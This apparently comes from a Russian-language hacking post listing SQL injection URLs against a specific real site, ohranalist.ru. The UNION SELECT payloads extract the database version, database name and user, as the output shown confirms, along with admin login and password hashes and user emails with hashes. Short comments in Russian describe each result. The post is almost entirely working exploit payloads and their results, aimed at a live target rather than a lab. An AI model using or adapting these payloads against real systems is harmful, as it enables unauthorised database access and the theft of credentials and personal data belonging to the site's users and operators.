ohranalist.ru

http://www.ohranalist.ru/index.php?page=news&id=-1+union+select+1,concat_ws(0x2F,version(),database (),user()),3,4/*

5.0.41-log/ohranalist/ohranalist@cub.mplik.ru


http://www.ohranalist.ru/index.php?page=news&id=-1+union+select+1,concat_ws(0x2F,login,password),3, 4+from+ohranalist_admin+limit+0,1/*

логин/хеш



http://www.ohranalist.ru/index.php?page=news&id=-1+union+select+1,concat_ws(0x3a,id,ip),3,4+from+ohranalist_hackers+limit+0,1/*

на момент написания поста таблица пуста ))



http://www.ohranalist.ru/index.php?page=news&id=-1+union+select+1,concat_ws(0x3a,email,md5rev),3,4+ from+ohranalist_users+limit+11,1/*

мейл/хеш еще есть поле name, но оно почему-то одинаковое для всех юзеров